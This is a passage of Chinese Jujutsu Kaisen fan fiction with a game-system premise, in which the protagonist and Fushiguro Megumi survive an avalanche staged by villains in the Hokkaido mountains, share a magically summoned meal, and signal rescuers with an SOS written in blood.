越看越感觉有点什么。 或者说,此刻的他,好像才是那个多余的…… “总之呢,总监部发来的二级参考评定任务是这个,只能努力完成它才行哦。加油加油,惠——” 五条悟冲他们挥了挥手,笑着目送二人离开高专。 当羽取一真走到门口,又朝身后投去视线时,还能看到五条悟依旧站在原地——见他回望过来,还特意再抬手挥了一次,露出极为真切又活泼的生动表情来。 [要注意安全喔]。 他甚至比了个无声的口型,像是专门说给羽取一真听的叮嘱。 就如同当时羽取一真对五条悟脱口而出的话语那般,此刻的五条悟也在回以他同样的关心。 ……超可爱。 毫无抵抗力的羽取一真默默想道。 他觉得自己在刷满五条悟的好感前,已经要先被五条悟刷满了好感——不仅是脸的那种。 “………” 始终用眼角余光关注二人互动的伏黑惠,终于没忍住出声。 “要不,我一个人完成任务,也行。” 否则,总给他一种微妙的罪恶感……那种很难形容的,好似他在干坏事的错觉…… “没关系,快点回来就好。” 听完这话的羽取一真当真衡量了片刻,才颇为遗憾地摇头。 毕竟他已经触发了任务,而且是能够推进剧情、抓到幕后黑手的机会。 “任务是什么?”他问伏黑惠。 “[旭丘峰诡异求救事件]。” 伏黑惠将手机搜索出的新闻界面给羽取一真看。 “严格来说,我们并非要去调查这起事件的成因,而是去解决因这起事件而诞生的诅咒。” 都市传说、灵异事件、神怪志异。 虽说咒灵是由人类不断累积的负能量催生而出的,但除去针对某样事物或人类进行目标明确的憎恨或恐惧外,也可以是鬼怪、传闻或故事等这类不具备物质形态,但能够在大多数人脑内形成共通意识的虚构载体。 这种咒灵通常被称为假想咒灵。 而恐惧的程度越高,人数越多,生成的假想咒灵就越强大。 “不过,这个求救事件已经是上世纪八十年代发生的事情了,” 在乘务员的温柔提醒下,伏黑惠拿回手机,并切换成飞行模式。 “只在北海道周边比较有名,所以形成的咒灵也比不上[厕所花子]和[裂口女]那类传播程度更广的特级,只到二级的程度。” 羽取一真缓慢颔首。 如果真的是只二级咒灵,那么就算伏黑惠没有能力祓除,他也可以轻松杀掉,构不成什么威胁。 所以,重点应该是…… 见羽取一真半晌没有说话,伏黑惠跟着神色凝重起来。 “看你的表情不太对劲,是有什么别的危险吗。” “嗯,” 羽取一真张开口,声线沉稳,发音清晰有力。 “我在思考……悟刚才交代的[樱田],到底是店名、品牌,还是特指某位花林糖制作大师的姓氏。” 伏黑惠:“……………” ……这跟任务完全无关吧喂。 第27章 当天下午, 羽取一真便与伏黑惠到达了北海道的旭岳山脚。 接着,他们买票登上缆车,前往海拔1600米处的姿见站——从站点再根据地图步行三公里左右, 就是这次任务的终点。 这座北海道最高峰的海拔2290米, 是登山者相当钟爱的攀登地点。 但那是到夏季才会发生的事情了。 旭岳山其实是一座活火山,特点便是山顶的热气口会使这座山峰的积雪在夏季迅速消融,草木生长,直至将秋季的漫山枫叶落出一种橘红与深黄交织的绚丽色彩来。 只是…… “两个小哥,你们就穿成这样来??” 扛着滑雪板,羽绒服、毛线帽、雪地靴、手套以及护目镜等装备一应俱全, 那位滑雪者与羽取一真他们擦肩而过,又迅速倒退回来, 难以置信地推高压在脸上的护目镜, 揉了揉眼睛。 三月份的旭岳山阳光很好, 但温度仍然保持在零下, 不仅见不到旅游宣传手册里的松鼠,连枝丫都沉甸甸, 压满了霜雪。 由于旭岳山夏季融雪、冬季落雪的特性,这里的雪与其余常年不化的雪山不同,每年都会换新的粉雪与新雪松软,格外受到滑雪爱好者的青睐。 如果是在夏季到秋季的时间, 来向这两人搭话的滑雪者都不会表现得这么吃惊——至少那时候雪化得很干净, 很多游客都会过来泡温泉、赏枫叶或者徒步。 但现在是三月份啊,雪层厚度足有三、四米, 整座山的植被都光秃秃的,哪有什么雾松红枫啊。 这两个小哥是不是来错季节了?? 只穿着薄外套的伏黑惠不知道该怎么回他,“…………啊, 嗯。” 该怎么解释,因为东京很暖和,出发前忘记这里是日本最北端的北海道,任务地点还在山上吗……要是把这些话说出口,总感觉有点丢人。 何况身边的黑发青年也没对这温度有任何反应,要是只有他觉得冷…… 相比青春期自尊心在作祟的海胆头少年,羽取一真则顶着那身更加格格不入的纹付羽织袴外观,面不改色地坦然开口。 “有什么问题吗。” 管玩家穿什么呢,要不是他在这游戏里没找到能增加属性的装备,中世纪铠甲都能搭配碎花沙滩裤穿给这帮人看。 滑雪者被这两人若无其事的反应震撼到了。 “如果你们是来泡温泉的话,坐错车站了啊。” 他纠结半天,终于给这两人的行为想出一个合理的解释。 “我推荐中岳那家比较好啊,坐免费巴士就可以去哦,在那边坐。” 他将滑雪板一端杵在雪地,另一端靠在肩上,空出只手给他们指路。 “我们不是来泡温泉的,感谢关心。” 羽取一真彬彬有礼的回道。 伏黑惠则突然开口问这位来滑雪的大叔,“大雪山滑雪场也不在这里,你打算去哪滑雪?” “来这里玩的我们基本都是野滑啦,滑雪场里的雪被压实了,滑起来多没意思!” 聊到爱好,那位大叔顿时笑得爽朗,厚实的手套拍了拍那块跟随他多年的滑雪板。 “不过,穿成这样的你们还是尽早下山比较好,可别小看这里啊,以前就出过事,这段时间也不太平。”他又诚恳劝道,“前几天我还挺朋友说他来滑雪的时候,听到了奇怪的声音。” 伏黑惠追问,“奇怪的声音?” “就是类似于……磁带录音机的声音吧,那种老式的磁带在录音机转,滋啦滋啦的,连里面播放的人声都没听清楚,就给屁滚尿流的吓回来了。” 回忆到后面,大叔还揶揄笑了几声,善意地嘲笑他朋友胆量太小。 “这事在我们圈子里传开了,害我今天只能自己来滑,他死活不肯露面,还劝我也别来。” “原来如此,” 听完描述的伏黑惠点点头,看向那位滑雪者的表情变得认真且严肃。 “不过,我确实觉得一个人滑雪不太安全。大叔,你也说这里都是没被压过的雪,万一出现意外,你独自摔倒在至少三米深的软雪里,没有旁人帮忙是很难起身的。” 平地跌倒还好,要是冲击力大一点,整个人都会陷进雪里,不仅很难连呼救的声音都会被雪掩盖,变得微弱。 “没想到你还挺懂滑雪啊,小哥!别担心,我今天只在官方雪道热了热身,过把滑雪的瘾,现在正打算回去了。” 大叔笑起来,伸手啪啪拍着伏黑惠的肩膀,把他表情都拍散了。 ……力道太大,好痛。 “话说啊,你们真的要再往上走吗?”大叔也再度劝起他们,“就算是赏景也好歹换身装备来,山上可是很冷的,风又大,当心患上失温症。” 伏黑惠正要拒绝说不用,沉吟许久的羽取一真却先一步出声询问道。 “那么,可以麻烦您一件事吗?” 他示意伏黑惠拿出手机,“我们跟您交换联络方式,假设今晚十二点前没有跟您汇报平安,您可以直接报警。” 大叔听愣了几秒,欣然答应。 “都考虑到这种程度也要进山里吗,你们大概不是单纯来赏雪吧?” 羽取一真点头:“是。” 终于与这位热情劝了他们好久的滑雪老手大叔分开,应付不来这种类型的伏黑惠放松吐了口气。 “任务点会有[窗]在,”他对羽取一真解释道,“他们是能看见诅咒、但没有生得术式的人,会负责观测各地的诅咒、汇总数据、后勤联络之类的工作。” 言下之意是羽取一真的行为有点多此一举,如果他们在祓除过程中出现什么状况,[窗]同样会第一时间发出求救信号。 “大叔都这么关心我们了,”羽取一真说,“多联络他一次也不会花费什么功夫。” 遑论看系统任务的那一句话描述,他总怀疑是要出人为的意外,而非任务本身有问题。 伏黑惠“嗯”了声,没有再说什么。 “会发出异响的录音机,大概就是我们要找的诅咒了。” 看了眼时间还早,伏黑惠打电话联络[窗],请对方帮忙带路。 先去踩点确认一下情况,然后…… 阿嚏。 羽取一真安静看着打了个喷嚏,还依旧摆出张酷哥脸的伏黑惠。 他体贴开口道:“要不,你还是加件羽绒服吧。” 伏黑惠:“…………” 在等[窗]来接他们的空隙,羽取一真带伏黑惠去站点商店里买了件保暖的厚外套给他穿上。 “你来北海道之前,家里没人提醒你要多穿点吗?” 羽取一真状似随口说出的问题,令伏黑惠反常沉默了许久。 “没有。”他回答。 “去世了吗?”羽取一真问。 这次,伏黑惠沉默了更长时间。 “……没有。” 他在吐出这个单词后,又向羽取一真摇了摇头。 “别问了。” 果然有隐情。 羽取一真也不再追问,和他一起等[窗]赶到站点,带他们去往观测到的咒灵徘徊地。 “我们猜测是由[sos神秘事件]生成的咒灵。” 来接他们的[窗]是个相貌普通的男性,裹着厚厚的羽绒服和围巾,说话还带着点奇特的地方口音。 在羽取一真的眼里,他基本等于任务指引npc。 [窗]带着他们沿夯实的雪道往深处走,途中向他们介绍这次咒灵的详细来历。 “上世纪,这里发生过登山者遇难事故。有两位登山者误入荒山,很快迷失了方向——但巧合的是警察在搜查他们时,发现了一个用数十根桦树干拼成的巨大[SOS]标志,很快就将他们成功救出。” “但很快,这两位获救的登山者说自己并没有摆[SOS],于是警察再次进行搜救,发现了一位早已死亡的男性骸骨,以及他的登山包。” “他的随身物品里有几盘磁带,其中一盘则在播放时,会间歇性发出诡异的人声录音,例如[救救我]、[动不了]、[就在山崖下,请把我拉上去]等。” “如果是向外界求救,为什么会特意留下最大音量也远不如人类呼喊的录音?而且他是[动不了]的状态,又要如何摆出长达十八米的SOS标志?” “总之,这件事在当时登上了报纸和电视台新闻,引发过一阵轰动。但毕竟那时的网络不算发达,没多久就沉寂下去了。” “结果最近几年,那次事故不知道被谁改编成所谓的灵异案件,在论坛上越传越广。” [窗]的叙述很长,尽量将整件事的来龙去脉讲清楚。 伏黑惠放出他的那两只[玉犬],认真逡巡着道路两侧,仔细感知其中是否留有咒灵经过时的咒力残秽,边分心回应[窗]的话。 “这种与现实事件混杂、真假掺半的传闻,确实更容易汇聚人们的负面情绪,只需要短时间就可以催生出诅咒。” 甚至比假想咒灵还要容易,因为这个灵异案件出现了明确的负面情绪锚定物——磁带。 在快要到达[窗]口中那位遇难者的死亡地点时,伏黑惠示意众人停在离山崖边远一点的位置。 “发现咒灵留下的残秽了,应该就是这只。你就待在这里,不要再靠近。” 伏黑惠先交代了[窗]一句,转而并拢二指,竖在身前。 “[由暗而生,比黑更黑,污浊残秽,皆尽祓禊。]” 自高空落下的[帐]如同倾倒在纸面的黏稠浓墨,缓慢流淌成一顶浑圆的暗罩,将他们与[窗]彻底分开。 在这处被隔绝出的小世界内,空气仿佛被彻底改变了。 没有任何窸窣的响动,山林间的风也彻底停歇,光线则化作黯淡且冰冷的刀锋,在雪地上拉出数道长长的切割线,一切都显得如此死气沉沉,好似万物凋亡到来前的诡异平静。 羽取一真莫名觉得,这次站在[帐]里的感受,与上次在废弃医院里的并不相同。 “这个[帐]……” 伏黑惠眉心蹙紧,目光落在摊开自己那只结印的手上,十分迟疑且犹豫的出声。 “好像不是我结出来的……” 轰隆! 一瞬间爆发出的剧烈动静,当场令两人踉跄几步——并非他们没站稳,而是脚下的雪层在震颤着开裂! 在这范围巨大的[帐]内,崩塌的雪浪在发出咆哮,翻卷出铺天盖地而来的威势,冲击着目之所及的一切,树木、岩块、山体、还有……他们。 这里是旭岳山,是一座活火山,没有积年沉淀的冻土层,每年都是松软的新雪。 ——这句话,蓦然浮现在羽取一真的脑中。 紧接着,他与伏黑惠的视野彻底被雪占据。 第28章 与此同时, 自[帐]之外看向内侧的景象,仍旧风平浪静,不见任何异常。 [帐]本身就是为了向普通人隐藏结界内的存在, 会有这样的效果也是理所当然。 即使雪崩停息, 羽取一真和伏黑惠死在里面,也不会有任何人发现。 仅是雪景的些许变化,又会被谁察觉到呢。 或者换句话说,等高专那边察觉到了又能如何?人已经死亡,再想做到什么都迟了。 ——轰。 这记来自内部的撞击并没有传出任何声响,唯有[帐]发出阵涟漪似的剧烈震颤——似乎是雪崩的去势不绝, 沉而重撞在了漆黑的帐壁上。 “漏瑚,可以停下了。你再继续下去, [帐]会被撞碎。” 有声音在不远处响起, 竟好似人类在说话那般自然, “虽说是半吊子用出来的[帐], 本身也无法持续很长时间,但至少不能这么快就结束。” “你把我使唤到这里来, 就是为了间接引动出一场雪崩?” 山丘状的火口迸溅出几丝火星,嗤笑间露出漆黑牙齿,被唤作漏瑚的火山头咒灵格外不爽。 “要杀那人何必这么麻烦,我直接出手不行?” “不行哦, ”身披袈裟的青年微笑道, “我用普通的特级咒灵试探过,他解决得很轻松。” “莫非你还想说他比我强?”漏瑚冷声哼道, “不过是你们弱者的自我追捧,未曾见识过真正的强大。” “当然不是说你打不过他,”青年摊开手, “但双方都有特级的实力,你与他战斗时留下的残秽会太过明显,引发高专那边不必要的关注,对我们来说没什么好处。” 这句借口找得也确实勉强——袈裟青年就是在担心咒灵这种生物未必能杀掉那位手段诡谲的加茂家主,才想借用人力难以抗衡的自然灾害来尝试消灭他。 而漏瑚原本就是自人类对大地的恐惧中诞生的,引发雪崩的力量并不会留下多少残秽。 何况死于天灾相比死于特级咒灵之手,高专那边想要调查的难度也会高许多。 可以称得上一起不着痕迹的谋杀——只要对方真能就此死在这场雪崩之中。 但漏瑚并没有听懂袈裟青年话外的考量与顾虑,只表现出了对这次帮忙格外不耐烦的情绪。 “别忘记我与你只是合作关系,诅咒师。这样的使唤我只会容忍一次,” 头顶的火山口再度有岩浆溅出,漏瑚威胁道,“你们人类总是怕这位怕那位的,要惹我就全部杀了干净。——包括你在内。” “好啦好啦,别生气嘛,漏瑚。以后会有机会的。” 双手拢在袖袍里,黑发半披半扎的青年笑起来,又来到站在[帐]前的那位[窗]面前。 “那些反对者都清理干净了吗?” “是,已经都死于意外事故了。” [窗]明显严肃起来,声音紧张的回答道。 “做得很好哦。记住在见到尸体前,绝对,不能让任何求救信号传递出去呢。确定在他们来这里后,整座旭岳山都已经清空了吗?” “是的,在我接到他们的一路上,确保他们没有与其他人接触过!” “很好,”袈裟青年笑着拍了拍[窗]的肩膀,声音亲切。 “也替我谢谢那位在暗处帮忙放下[帐]的辅助监督。但很遗憾,释放[帐]就等于留下了咒力残秽,等会记得把他也灭口。” “是……是!” 御三家之一自不必说,早就被他掌控的总监部竟然也开始被对方插手,这是无论如何都难以容忍的。 如果特级咒灵都难以对那位家主造成伤害、加茂家与总监部也无法对付他的话…… ——那么,就来试试天灾的效果如何吧。 ………… “加茂……” 在被翻涌的雪浪吞没的霎那间,伏黑惠几乎同时转过头喊羽取一真,竭尽全力地朝他伸出手。 但那一声匆忙出口的呼喊,也被那如大厦倾覆般的白雪吞没了。 身体被雪崩裹挟着颠倒,视野被翻搅得天翻地覆,甚至连口鼻都被雪堵塞,连喘息片刻都显得极为艰难——在这由大自然掀起的剧变天灾面前,人类,哪怕是咒术师,想要做出任何有效的对抗也是近乎不可能的。 只是,近乎不可能而已。 ——[赤血操术·赤缚]。 被四面八方的雪推挤碾压,五感混乱成一片的伏黑惠隐约突然感到腰部一紧,似乎被蟒蛇般的生物缠绕上了。 随即,它收得更紧,末端传来一股无可抵御的力道,硬生生将他拽离了仍旧奔涌的恐怖雪潮! 仿佛溺水的人忽然得救上岸,冰冷的、新鲜的空气涌入口鼻,让伏黑惠喘了好大一会儿气,被融雪浸湿的发梢湿漉漉的垂落,格外狼狈的紧贴在面颊上。 厚重的外套也裹满着细碎的雪,被三月份的寒风一吹,近乎要冷得要发抖。 也是在这时,伏黑惠才发现自己是被一根暗血凝结的绳索勒在腰间——另一端则连着羽取一真,缠绕在他手腕上,最后没入衣袖遮去的阴影里。 羽取一真的另一只手腕同样被血绳勒紧,让他们能吊在崖壁的一块凸起岩石下,晃晃悠悠的,勉强逃离了雪崩范围。 “[赤血操术]……?” 伏黑惠开口时,才发现自己声音都哑了许多。 他单手拽住血绳保持重心,仰头去看羽取一真,发现对方的头发与衣服同样被雪水浸透了,但整体看起来还好,甚至有余力在雪崩里保持敏锐的判断力,救下了他。 “嗯,我们还算走运。” 羽取一真回应道,“虽然刚才我看不见你在哪,但我能把你选为我的术式攻击目标。” 只要【社交】里有名字,对方又在术式的攻击范围内,他就能对其发动技能。 伏黑惠的运气确实不错,他在察觉到雪崩的第一时间就将[血寄斗枪]收进装备栏,以空手状态打开[赤血操术]的技能表。 【赤血操术(核心)(一级):您将拥有操纵自身血液进行战斗的能力。可通过不断战斗来提高熟练度,解锁更多相关技能。】 【目前装备:无。】 【目前发动技能: <赤血操术·赤鳞跃动>:操纵身体的体温、脉搏、红细胞数量等,在技能发动时间内,可大幅度提高各项身体数值,增加攻击伤害。 <赤血操术·赤缚>:将自身血液凝结为绳状,束缚目标。无法造成伤害。】 正是这两个技能组合救了他们一命,既让羽取一真能在前涌后奔的茫茫雪潮里稳住重心、敏锐找到逃离雪崩的突破口,又成功通过【社交】界面选定伏黑惠,同样将他从雪崩中救了出来。 要是伏黑惠被压在几米深的雪层下方,能获救的概率就太低了。 “但现在的问题是我不知道山崖有多高,如果直接松手,你很容易摔骨折。” 至于他自己,羽取一真丝毫不担心。 先不提玩家有没有高空坠落伤害,这款游戏的痛觉反馈很善解人意,哪怕断胳膊断腿,在他这里基本等同于被商场按摩椅捶打的程度,血量一回满就能继续活蹦乱跳。 但伏黑惠和他都不会反转术式,要是伏黑惠摔骨折失去战斗力,二级任务估计也跟着没戏了。 头顶的雪崩仍不断发出沉闷的响动,羽取一真说的话被掩去些许音量,好歹能让挂在他下方的伏黑惠勉强听清了。 怎么就默认只有他会摔骨折了啊……伏黑惠沉默了下,才开口回答道。 “底下有咒灵的气息传上来,这座山崖应该没有特别高。我有办法让我们都安全着陆。” “那就好,”羽取一真说,“你数三二一,我解开术式。” “好。” 伏黑惠将手背拱成弧形,唯有食指单独屈起,摆出召唤的手影。 三。 二。 一。 缠绕在手腕间的血绳消散,羽取一真与伏黑惠迅速往下坠落。 “[大蛇]!” 崖壁的暗影蠢动片刻,忽然窜出一条长达数十米的巨大蟒蛇式神,张口轻松将二人吞入腹中—— 随即,这条大蛇代替二人继续翻滚下坠,直至轰然砸在崖底! 承受了所有坠落冲击力的它接连撞断数根树木,又压实了一大片落雪,才终于让自己停下来,逐渐消散形体,露出腹内被转得七荤八素的二人。 羽取一真扶住脑袋坐起来。 “坐游乐场的旋转茶杯都没这么晕过……” 伏黑惠站起身时,没忍住吐槽一句。 “……你对转圈速度的最高承受力竟然只有旋转茶杯吗。” 他进入战斗状态极快,在成功落地尚且没有片刻的功夫,已经去往刚才感知到咒灵的方向,再度比出[玉犬]的手影。 如果这只咒灵确实是二级的程度,伏黑惠祓除起来并不困难。 羽取一真看着那只咒灵在几次使用录音机的声波攻击中没能占到便宜,被仅由暗影构筑而成的玉犬逐步撕咬到消散。 【当前任务:伏黑惠的入学评定任务。】 【协助伏黑惠完成二级咒术师评定任务:80%/100%。】 他打开【任务】界面确认咒灵没祓除错,且那家伙确实只有二级水平。 仍旧有20%的进度没完成,应该就是指他们还要从这里成功逃生出去才行。 羽取一真可以很肯定刚才那场雪崩就是人为造成的,且大概率是冲着他来的。 看来回去还是得杀几个总监部的老头npc祭天,让剩下那些还敢和他作对的人明白玩家到底有多不好惹。 “咒灵的问题解决了,那应该是我原本的任务。” 收起[玉犬],回来羽取一真身边时的伏黑惠面色凝重。 “[鵺]能带人飞,但它只是我刚调伏没多久的式神,尚未成长起来的它目前载重仅限一人。而且,大概率无法飞上这么高的山崖……” 眼前是一大片白茫茫的雪,目及之处皆是万物凋零、寸草不生——而他们身上,甚至没有携带任何补给。 [帐]内的信号被切断,也无法使用手机联络外界。 或许得先打破[帐],或等到它消失,再来尝试联络五条老师……记得之前在姿见站见到的那位大叔,如果他真的会遵守他们的约定,那就只要等过十二点…… 不行,得先思考今晚如何度过,夜间温度太低,失温症很容易先一步让他们失去性命。 还得防备敌人会不会先一步来搜索确认他们的死活…… 伏黑惠眉心紧锁,正在绞尽脑汁思考要如何求生成功时,忽然听到羽取一真开口。 “别担心。”他说,“你现在想吃饭吗?我请客。” 伏黑惠:“………” 伏黑惠:“?” 现在?请他吃饭? 第29章 伏黑惠以一种非常狐疑且审视的目光, 从羽取一真的左手看到右手,又认真打量了他那身着装,最后严谨的得出一个结论。 这身衣服除了价格昂贵以外, 并没有看出哪里装着东西——尤其是食物——的地方。 但现在, 对方和他说要请客吃饭。 语气也是轻松平淡的,好似根本没将眼下他们的遇险当作什么性命攸关的大事。 伏黑惠拧眉思考许久,忽然灵光一现。 “是…隐喻吗,还是一种暗示。” 他谨慎地开口道,“比如我们附近正有敌人埋伏需要警戒,或者你在用类似心理安慰剂的方式让我放松……” 羽取一真:“……嗯?” 羽取一真:“就是普通的吃饭而已。你肚子不饿吗?” 到目前为止, 伏黑惠只吃过中午那顿的飞机餐而已——他倒是无所谓,刚才祓除二级咒灵的战斗完全没插手, 体力值还充足得很。 但伏黑惠的状态要糟糕许多。 即使他强撑着站在雪地里, [帐]隔绝了大部分光线, 也能看出他的面色苍白, 指尖却冻得发红,整个人都有点摇摇欲坠的。 从羽取一真的视角来看, 感觉伏黑惠都快要不行了。 这可不太妙了,他答应过悟要照看好对方的。 “……是有点饿,但你要怎么请客?” 伏黑惠当然清楚他的状态很糟糕,但他更吃惊为什么对方依然能若无其事站在那里, 完全不流露出半点负面思维。 这份强悍的心理素质, 简直冷静到恐怖。 连那张惯常没什么情绪波动的面容,此刻在伏黑惠的眼里, 也变得成熟且稳重,充斥着一种能令人放松的强大安定感。 虽然有着那种能看中五条老师的眼光,但在这种关键时刻, 忽然,感觉……他超可靠。 不知不觉,伏黑惠也随之放松许多,等着看羽取一真要从哪里拿出食物。 “嗯……不能在野外。” 野外居然不能勾选伏黑惠进行【请客】,显示需要至少一间房。 羽取一真这才发现【请客】这功能居然还有限制,只能左右张望了下,来到崖壁边,找了个稍微凹陷些的位置。 在伏黑惠的困惑注视中,他握紧右拳,拉开架势。 [黑闪]! 瞬间爆闪出的漆黑洪流如奔雷轰鸣,转眼就是数拳起落,碎石飞溅,硬生生用[黑闪]砸出一个能容纳他们的二米高洞穴来。 羽取一真还清理了下地面的碎石,空出块能坐人的地方,才出声邀请伏黑惠。 “好了,坐过来。” 洞穴怎么不能算是房子。 “………………” 伏黑惠张大嘴,全程愣在了原地。 这是在搞……行为艺术吗?还是漫才表演?话说他竟然拿[黑闪]来凿洞,会不会有点大材小用? 在这种已然超越伏黑惠思维极限的恍惚中,他竟然真的顺从羽取一真的指引,在新开出来的这个洞穴里坐好。 等羽取一真也坐下后,游戏的【请客】界面亮起。 毕竟是悟交代要照看好的伏黑惠,请客名单也只有他一个人,羽取一真忍住心痛……不,应该是格外忍住心痛的,选择了最贵的那份。 【请客:100金/人。】 咚——咚咚—— 分明是寸草不生、满目荒芜的雪山崖底,伏黑惠却隐约感觉自己听到了类似太鼓的声音,就从洞穴外传来。 哪怕是冰冷昏暗的洞穴,也好似忽然烛光摇曳,篝火升腾,将它改造得明亮又温暖。 就在他刚想要探出视线去寻找声音的来源,这几声太鼓已然停歇,再度使空气变得静悄悄的。 好似它只是为了昭告宴会其即将开场,接着,由坐在主位上的羽取一真宣布—— “开始吃吧。” 吃?吃什么? 伏黑惠的疑惑尚未浮现心头,就见到洞穴外传来几声窸窣动静,越来越近,声音也越来越响——伏黑惠的紧张情绪也如同被拉满的弦,越发紧绷至极限—— 倏尔,他的眼前窜出来几只猴子。 伏黑惠震惊到脱口而出:“哈?!” 将这些猴子全都形容成“窜出来”其实并不准确,它们歪戴着小帽子,领口打着蝴蝶结,走路与站姿都相当规矩。 在头前两只小猴子摆好矮脚案几后,后面跟上的猴子们前爪还端着各式碗碟、餐具、饮料以及餐巾,一样一样地给伏黑惠和羽取一真放好。 伏黑惠瞪着这群有条不紊给他们上菜的猴子,全程瞳孔剧烈地震。 最后那两只单爪端布丁的猴子,还是荡着藤蔓过来的! 当猴子们鞠了个躬离开,他身体完全不受控制地端起碗、举着筷子、开始扒饭时,表情仍然是一个大写的懵。 他是谁?他在哪里?他现在在做什么? 跟随着身体的本能——或者说是那股必须要吃饭的冲动——扒了两筷子饭,伏黑惠猛然抬头。 “你别拒绝,” 担心他想终止流程的羽取一真立刻开口,“这顿饭,很贵。” 这可是加茂那帮npc完全没有过的待遇,吃一顿顶他们吃一百顿呢! 端着碗的伏黑惠:“…………” “饭很好吃,感谢招待。”沉默许久,他艰难出声,“我就是想问,这是你的领域展开吗?” 这世上真的会有猴子给在雪山里的他们送菜送饭吗?不可能吧? 与其让他相信猴子——看品种还是雪猴——会上菜,他更愿意相信这是对方的领域展开。 但谁家的领域展开是强制请人吃饭?! 羽取一真困惑道:“领域展开是什么?” 又是他开场跳过的游戏设定? “………就是,消耗巨量的咒力构筑结界,将自身的生得领域具现化到现实中,并注入必中的术式,给予敌人压倒性的攻击伤害。” 停顿片刻,伏黑惠又补充一句,“领域展开我也不会,这只是理论知识。” 实话说,他现在已经不知道该摆出什么表情来面对这桌饭了。 思维好恍惚,该不会这是他临死前的幻觉吧…… 要是真的,获救后的他该怎么和别人解释呢?加茂老师在雪山里召唤了一群猴子给他们上菜,食材还是最高级的神户牛肉和松叶蟹…… “我也不清楚。” 羽取一真想了想,索性不解释。 就像他也不明白为什么在加茂家上菜的还是仆人,到雪山里就变成了一群猴子。 “你就当是吧,反正吃的东西是真的。” 不然也不会连吃五十多顿撑死那帮加茂老头。 同样想不明白,已经放弃思考,跟随内心冲动继续扒饭的伏黑惠:“……哦。” 哪怕咒术拥有多么不合常理的效果,伏黑惠也万分笃信,再也不会有这顿饭带给他的震撼更大了。 当伏黑惠吃完这顿各种意义上而言都价值昂贵的料理,开始喝热玉米汁,感受到从胃部流到四肢百骸的温暖时,对这位加茂老师的信赖与尊敬不由又多了几分。 虽然对方的作风格外稀奇古怪,但是……莫名的感觉对方很可靠。 看着眼前这位眉眼冷淡,死里逃生也仍能泰然应对的黑发青年,伏黑惠的内心生出一种好似天然就存在的亲近感,驱使着他想要信任对方。 原来……这就是独属于加茂老师的魅力吗。 伏黑惠沉默想道。 【宴会结束,你的个人魅力与社交技巧增加了!】 羽取一真也对结果很满意,因为伏黑惠完全没有浪费这顿价值100金币的饭,进行了彻底的光盘行动。 受过一次颠覆世界观般的冲击后,即使再看着这些雪猴出现,把餐具连同餐台一道收拾走,伏黑惠也能礼貌说句“谢谢”,半点不慌。 在这宴会结束后,他们来到简陋洞穴外,发现天空的光线与颜色都已经恢复正常——这意味着[帐]自行消失了。 此刻太阳已经落山,月光下的视野相较白天过于昏暗狭窄,山林也陷入死寂。 伏黑惠立刻拿出手机,发现仍然没有信号。 [帐]的存在是依靠咒力维系,耗尽后的消失并不意味着敌人彻底放下心,反而会更谨慎。 切断信号就是一个很明显的举动——对方在封锁他们的求援途径。 “如果是白天就好了,现在光线太暗,什么都看不清。” 伏黑惠皱起眉毛,“我们就能尝试找到河流,只要沿着它往下游走,肯定可以找到村落。” 或者,他可以尝试先用[玉犬]探路……但他也不能离自己的式神太远。 虽说他仍旧在努力思考对策,但伏黑惠知道自己的心境比之前早已轻松许多,并不显得紧张。 “下午我们遇到的那位大叔,如果他真的会过十二点没收到联络就报警的话……” “肯定会的,”羽取一真笃定道。 “如果我们只是随便拉一个路人交代,对方未必会记得这个嘱托。但大叔很热心,又深知进山的危险,是主动拉住我们、想方设法劝我们离开的好人。” 羽取一真拉出系统时间看了眼,现在是游戏里的晚上七点半。 “我相信他肯定会为了等我们的联络,一直守到十二点。” 又是说以前出过事,又是说他朋友听见奇怪的声音,明显不是故意提起的,想把他们吓回去。 正因如此,羽取一真才没有与来接他们的[窗]定下这个约定,而是托付给了那位大叔。 “如果警方会组织搜救队来找我们的话,”伏黑惠思考,“得做一个足够明显的求救标志……” 可惜式神不能被普通人观测到,他们身边也没有能方便劈砍的工具。 越说越感觉,此刻的他们和当年[sos神秘事件]里的遇难者经历重合了…… “嗯,这个简单。” 羽取一真开口。 虽说他就算没有警方搜救,也完全无所谓就是了。 没见过哪个玩家打游戏还要靠警察救的,头顶不挂几个通缉令都算他善心大发。 但既然他眼下带着伏黑惠,那还是用比较符合现实逻辑一点的方式获救吧。 在伏黑惠那被月光与星辰照亮的视野里,羽取一真来到被[大蛇]坠落时压出的超大片夯实雪地,伸手捋起衣袖,露出大片光洁的小臂。 接着,他用从不知何处拿出来的匕首,沿着肌肤下淡青色的血管,缓慢切割开一道深而重的伤口。 瞪大眼睛的伏黑惠难以掩饰内心的震撼,根本没想到对方会做出牺牲如此巨大的举动! “加茂老师…!!” 被呼喊的黑发青年却好似根本察觉不到疼痛般,若无其事的垂下手,放任血液迅速喷涌而出,自小臂流向指尖,再滴落到雪地,勾勒出色彩对比极鲜明的殷红痕迹。 随着羽取一真走动,这道血痕便沿着他踏足过的地方,逐渐组成三个偌大的字母。 S O S。 第30章 “这样就可以了。” 用血写完SOS求救信号的羽取一真花金币从【商场】买了个回血面包, 边啃边回来和伏黑惠说。 “白底红字应该足够明显,直升机只要飞过这里,就不会漏掉。” 至于失血过多至死?不会的, 他是玩家, 这种伤口流血只是小意思,实际受到的伤害并不高,体力值甚至没有掉到一半以下。 虽然[赤血操术]的描述里写着可以操纵自身血液进行战斗,但他只能使用[赤血操术]对应解锁的技能表而已,并不是真的可以凭意念随意操纵自己的血液。 所以还是直接割出一道伤口放血比较简单,他又感觉不到疼。 但伏黑惠与羽取一真的想法就截然不同了。 “你………” 他目瞪口呆看着这位屡屡出乎他意料的加茂老师, 表情仍旧僵硬的定格在不敢置信上。 刚才吃猴子送过来的饭时,伏黑惠还信誓旦旦说自己不会再被其它事情震惊了——转眼间, 羽取一真就给了他更加震撼的一击! 这种毫不顾忌用血在地上写字的方法, 到底是怎么想出来的啊……他就不怕死吗?? “那个, 你的伤口, 包扎……” 他听到自己的声音卡顿,都不明白是如何从嗓子里挤出来的。 “嗯?没事, 我吃几个面包就好了。” 结果,他听到对方用相当平淡的口吻回道,言谈间根本没将这伤口当成什么大事。 伏黑惠在内心里倒吸一口气:“…………” ……啊?这是吃几个面包就能解决的问题吗? 他感觉自己的大脑都要不会运转了。 面对着眼前这位轻描淡写间做出疯狂行为的加茂家主,这位对任何困境都毫不动摇, 永远保持冷静与沉稳气度的青年, 伏黑惠蓦然生出一个念头。 ——他最后肯定能成功与五条悟在一起。 他们是真正意义上的同一类人。 夜晚的温度很低,伏黑惠召唤出[玉犬], 